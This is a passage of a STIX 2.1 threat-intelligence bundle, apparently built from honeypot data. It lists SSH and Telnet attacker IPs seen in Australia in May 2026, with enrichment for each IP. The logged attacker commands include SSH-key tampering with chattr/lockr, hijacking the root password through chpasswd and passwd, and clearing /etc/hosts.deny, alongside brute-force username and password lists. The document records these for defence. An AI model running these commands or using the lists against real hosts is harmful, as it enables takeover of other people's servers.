      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '90.150.68.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:15:11.000Z",
      "valid_until": "2026-07-02T22:15:08.000Z"
    },
    {
      "created": "2026-05-31T23:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--47b9930b-d416-4c8b-bc8e-af608313d197",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T23:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.3.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T23:15:29.000Z",
      "valid_until": "2026-07-02T23:15:09.000Z"
    },
    {
      "created": "2026-05-31T23:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited. Usernames observed (masked): ***, s****a, u****u. Passwords observed (masked): ***, ***, s****a, u****u.",
      "id": "indicator--491d74e8-26da-4cb8-afdd-04682582844e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T23:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T23:15:29.000Z",
      "valid_until": "2026-07-02T23:15:09.000Z"
    },
    {
      "created": "2026-05-31T23:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--331fc035-f867-446e-9646-0ccb78787490",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T23:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.19.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T23:15:29.000Z",
      "valid_until": "2026-07-02T23:15:09.000Z"
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "enriched_at": "2026-05-31T23:47:50.534678+00:00",
    "sensor": "cowrie",
    "sensor_type": "ssh_telnet_honeypot",
    "month": "2026-05",
    "ip_count": 8316,
    "total_attacks": 1164310,
    "total_sessions": 296193
  },
  "x_nadsec_ip_context": {
    "43.99.62.208": {
      "attack_count": 1880,
      "first_seen": "2026-05-28T00:49:55.090Z",
      "last_seen": "2026-05-28T06:58:28.588Z",
      "sessions": 378,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "deploy",
        "ubuntu",
        "postgres",
        "test",
        "user1",
        "git",
        "hadoop",
        "oracle",
        "steam",
        "debian",
        "es",
        "frappe",
        "testuser",
        "amir",
        "app",
        "bot",
        "centos"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "12345678",
        "123456789",
        "1qaz@WSX",
        "admin123",
        "111111",
        "12345",
        "Aa123456",
        "P@ssw0rd",
        "admin",
        "frappe",
        "rock",
        "test",
        "test123",
        "user",
        "!Q2w3e4r"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 2722,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T00:49:55.090000+00:00",
        "last_seen_30d": "2026-05-28T06:59:33.686000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1880,
        "Suricata": 842
      }
    },
    "47.254.30.91": {
      "attack_count": 725,
      "first_seen": "2026-05-24T12:03:47.440Z",
      "last_seen": "2026-05-24T14:19:58.362Z",
      "sessions": 144,
      "ports": [],
      "usernames_attempted": [
        "debian",
        "admin",
        "daemon",
        "dev",
        "developer",
        "elastic",
        "elasticsearch",
        "es",
        "ftptest",
        "dspace",
        "ftpuser",
        "backup",
        "docker"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "321",
        "21",
        "P455word",
        "P@$word",
        "Pa$w0rd",
        "Pa$word",
        "Pa55w0rd",
        "Pa55word",
        "Password",
        "admin12",
        "backup12",
        "daemon",
        "daemon1"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1039,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:03:34.273000+00:00",
        "last_seen_30d": "2026-05-24T14:21:08.052000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 725,
        "Suricata": 314
      }
    },
    "116.71.136.125": {
      "attack_count": 678,
      "first_seen": "2026-05-06T06:27:27.961Z",
      "last_seen": "2026-05-10T07:50:33.022Z",
      "sessions": 99,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "ftpuser",
        "postgres",
        "test",
        "user",
        "mysql",
        "oracle",
        "csserver",
        "deployer",
        "developer",
        "elasticsearch",
        "esbuser",
        "git",
        "gmodserver",
        "gpadmin",
        "hadoopuser",
        "lighthouse"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "1234",
        "2",
        "a1b2c3d4e5f6",
        "admin",
        "test1234",
        "!@#$",
        "1",
        "111",
        "123",
        "12345",
        "123456",
        "1234567!",
        "12345678",
        "123456789",
        "123456789k",
        "123456aA",
        "12345s"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"2\\n3m0WqDu2a7tU\\n3m0WqDu2a7tU\\n\"|passwd",
        "echo \"root:HDeyP53z35mf\"|chpasswd|bash",
        "echo \"root:UsMLgknmdi5w\"|chpasswd|bash",
        "echo -e \"2\\n3m0WqDu2a7tU\\n3m0WqDu2a7tU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Dera Ismail Khan",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 899,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T06:27:27.961000+00:00",
        "last_seen_30d": "2026-05-10T07:51:40.448000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 678,
        "Suricata": 221
      }
    },
    "41.60.147.78": {
      "attack_count": 653,
      "first_seen": "2026-05-21T06:55:56.318Z",
      "last_seen": "2026-05-23T07:50:07.229Z",
      "sessions": 326,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.9,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 979,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:55:56.318000+00:00",
        "last_seen_30d": "2026-05-23T07:51:11.135000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 653,
        "Suricata": 326
      }
    },
    "182.32.248.223": {
      "attack_count": 442,
      "first_seen": "2026-05-19T18:28:04.699Z",
      "last_seen": "2026-05-20T18:00:34.475Z",
      "sessions": 221,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 680,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:28:04.699000+00:00",
        "last_seen_30d": "2026-05-20T18:01:37.576000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 442,
        "Suricata": 238
      }
    },
    "194.50.16.198": {
      "attack_count": 393,
      "first_seen": "2026-05-03T09:44:53.944Z",
      "last_seen": "2026-05-13T01:55:32.594Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: python-requests/2.27.1",
        "Accept: */*",
        "GET /_asterisk/graph.php HTTP/1.1",
        "GET /_asterisk/phpversions.php HTTP/1.1",
        "GET /assets/phpversions.php HTTP/1.1",
        "GET /phpversions.php HTTP/1.1",
        "GET /recordings/misc/phpversions.php HTTP/1.1",
        "GET /vtigercrm/phpversions.php HTTP/1.1",
        "GET /admin/views/phpversions.php HTTP/1.1",
        "GET /assets/graph.php HTTP/1.1",
        "GET /graph.php HTTP/1.1",
        "GET /recordings/misc/graph.php HTTP/1.1",
        "GET /vtigercrm/graph.php HTTP/1.1",
        "GET /a2billing/admin/Public/graph.php HTTP/1.1",
        "GET /a2billing/admin/Public/index.php HTTP/1.1",
        "GET /a2billing/admin/Public/phpversions.php HTTP/1.1",
        "GET /admin/assets/js/views/login.js HTTP/1.1",
        "GET /admin/modules/core/graph.php HTTP/1.1",
        "GET /admin/views/config.php HTTP/1.1",
        "GET /admin/views/graph.php HTTP/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Accept-Encoding: gzip, deflate",
        "Connection: keep-alive"
      ],
      "commands_executed": [
        "Accept: */*",
        "Connection: keep-alive",
        "",
        "Accept-Encoding: gzip, deflate",
        "User-Agent: python-requests/2.27.1"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 217809,
        "days_active_30d": 11,
        "ports_targeted_30d": 1910,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-03T00:26:13.239000+00:00",
        "last_seen_30d": "2026-05-13T01:56:46.604000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 146945,
        "Honeytrap": 68780,
        "Cowrie": 393,
        "Miniprint": 360,
        "Mailoney": 315,
        "Dionaea": 262,
        "ConPot": 260,
        "Dicompot": 90,
        "Sentrypeer": 88,
        "Adbhoney": 84,
        "H0neytr4p": 56,
        "ElasticPot": 45,
        "Honeyaml": 45,
        "Ipphoney": 43,
        "Tanner": 43
      }
    },
    "116.99.170.11": {
      "attack_count": 357,
      "first_seen": "2026-05-21T07:32:51.336Z",
      "last_seen": "2026-05-21T08:02:27.601Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "developer",
        "*****",
        "123456",
        "am",
        "anton",
        "auto",
        "backup",
        "bin",
        "brenda",
        "client",
        "demo",
        "ftp",
        "ftp_zsd",
        "ftpuser",
        "george",
        "geral",
        "help"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "admin",
        "*****",
        "1",
        "1111",
        "111111",
        "112233",
        "1234",
        "123456789",
        "1234567890%*()",
        "91482d",
        "Deadstar!",
        "abc123",
        "administrator",
        "alpine",
        "am",
        "andrew",
        "anton",
        "asteriskftp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 507,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:32:51.336000+00:00",
        "last_seen_30d": "2026-05-21T08:03:28.681000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 150
      }
    },
    "74.243.239.219": {
      "attack_count": 341,
      "first_seen": "2026-05-19T21:11:40.938Z",
      "last_seen": "2026-05-25T14:57:43.101Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "curl",
        "claude",
        "cloud",
        "dylan",
        "esearch",
        "farhan",
        "ftpuser",
        "ftpuser1",
        "geoserver",
        "mario",
        "opc",
        "roo",
        "sam",
        "testuser",
        "ts",
        "vincenzo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!@#$1234QWER",
        "1122",
        "123456qaz",
        "9527",
        "P@ssw0rd",
        "T@cl0ud123",
        "Tech$123",
        "WW123456.",
        "Wangsu@2017",
        "a1s2d3f4g5",
        "ahti",
        "alejo",
        "aq1sw2de3",
        "asdf",
        "claude",
        "conrad",
        "cygnusx1"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"welltech12\\nuMbpiLLxItks\\nuMbpiLLxItks\\n\"|passwd",
        "echo -e \"welltech12\\nuMbpiLLxItks\\nuMbpiLLxItks\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 455,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:11:40.938000+00:00",
        "last_seen_30d": "2026-05-25T14:58:46.388000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 341,
        "Suricata": 114
      }
    },
    "113.161.222.150": {
      "attack_count": 286,
      "first_seen": "2026-05-09T09:10:18.179Z",
      "last_seen": "2026-05-22T07:22:12.851Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "deploy",
        "es",
        "alumno",
        "api",
        "arkserver",
        "cssserver",
        "frappe",
        "ftpuser",
        "imageserver",
        "mapadmin",
        "oracle",
        "roo",
        "spectrum",
        "srv",
        "test1",
        "test2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0",
        "1234",
        "123456",
        "123qwe123",
        "123user!@#",
        "1qaz2wsx",
        "Abc12345",
        "Login@123",
        "Password@2023",
        "Qwe123456.",
        "Rahul123",
        "Ubuntu",
        "abcdpass",
        "admin",
        "administrador",
        "adminnimda",
        "alumno",
        "apiuser"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:X9ZaT3QOxrvV\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 386,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:10:18.179000+00:00",
        "last_seen_30d": "2026-05-22T07:23:17.945000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 100
      }
    },
    "45.78.198.158": {
      "attack_count": 264,
      "first_seen": "2026-05-03T19:25:23.515Z",
      "last_seen": "2026-05-03T21:00:41.795Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "app",
        "345gs5662d34",
        "root",
        "test",
        "admin",
        "admins",
        "fileuser",
        "hadoop",
        "oracle",
        "postgres",
        "testftp",
        "testuser",
        "user",
        "xtest"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "admin123",
        "12345",
        "123456",
        "123456@abc",
        "123546",
        "19999999",
        "1qaz2wsx#EDC",
        "1qaz@WSX3edc",
        "3245gs5662d34",
        "a",
        "admin1234@.",
        "admin@2018",
        "changeme",
        "deploy",
        "ftp",
        "hadoop1234567",
        "password",
        "qwertyuiop",
        "test2019"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"admin123\\nxpvncHB6XdNw\\nxpvncHB6XdNw\\n\"|passwd",
        "echo \"qwertyuiop\\nPfgivRNRJiDd\\nPfgivRNRJiDd\\n\"|passwd",
        "echo -e \"admin123\\nxpvncHB6XdNw\\nxpvncHB6XdNw\"|passwd|bash",
        "echo -e \"qwertyuiop\\nPfgivRNRJiDd\\nPfgivRNRJiDd\"|passwd|bash",
        "top",
        "uname",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:25:23.515000+00:00",
        "last_seen_30d": "2026-05-03T21:10:21.509000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 264,
        "Suricata": 76
      }
    },
    "182.48.68.82": {
      "attack_count": 237,
      "first_seen": "2026-05-17T23:57:42.238Z",
      "last_seen": "2026-05-18T00:27:37.584Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rafael",
        "VPN",
        "max",
        "seal",
        "steam",
        "test",
        "toor",
        "zhangsong",
        "zhongwen"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "8520",
        "ABCabc123.",
        "ABcd1234",
        "Admin@2019",
        "Affe123",
        "Airtel@123",
        "Hc123456",
        "Nd123456",
        "Root2025@",
        "Test123123",
        "VPN",
        "lalala123",
        "rafael123",
        "seal",
        "steamcmd",
        "toortoor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"rafael123\\nULOv8aCGJvVz\\nULOv8aCGJvVz\\n\"|passwd",
        "echo \"root:kKsCZngJKbmY\"|chpasswd|bash",
        "echo -e \"rafael123\\nULOv8aCGJvVz\\nULOv8aCGJvVz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 58715,
      "as_org": "EARTH TELECOMMUNICATION Pvt LTD.",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 291,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T23:57:42.238000+00:00",
        "last_seen_30d": "2026-05-18T00:28:40.536000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 237,
        "Suricata": 54
      }
    },
    "20.83.161.200": {
      "attack_count": 223,
      "first_seen": "2026-05-21T16:20:19.841Z",
      "last_seen": "2026-05-21T17:13:02.506Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ansible",
        "ariel",
        "ccc",
        "d",
        "es",
        "factorio",
        "felix",
        "frederick",
        "ftpuser",
        "history",
        "mahdi",
        "mark",
        "mythtv",
        "pasquale",
        "q",
        "socks",
        "user",
        "user01"
      ],
      "passwords_attempted": [
        "password",
        "123123",
        "12345",
        "123asd!",
        "1a2b3c4d5e",
        "3245gs5662d34",
        "345gs5662d34",
        "3rddf",
        "Qq123456789",
        "Welcome1",
        "ZXCzxc123",
        "aa1234",
        "admin123.",
        "ariel",
        "asdf1234.",
        "ccc",
        "centos_123",
        "d",
        "frederick",
        "history123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:2FFIa1SFWsA2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
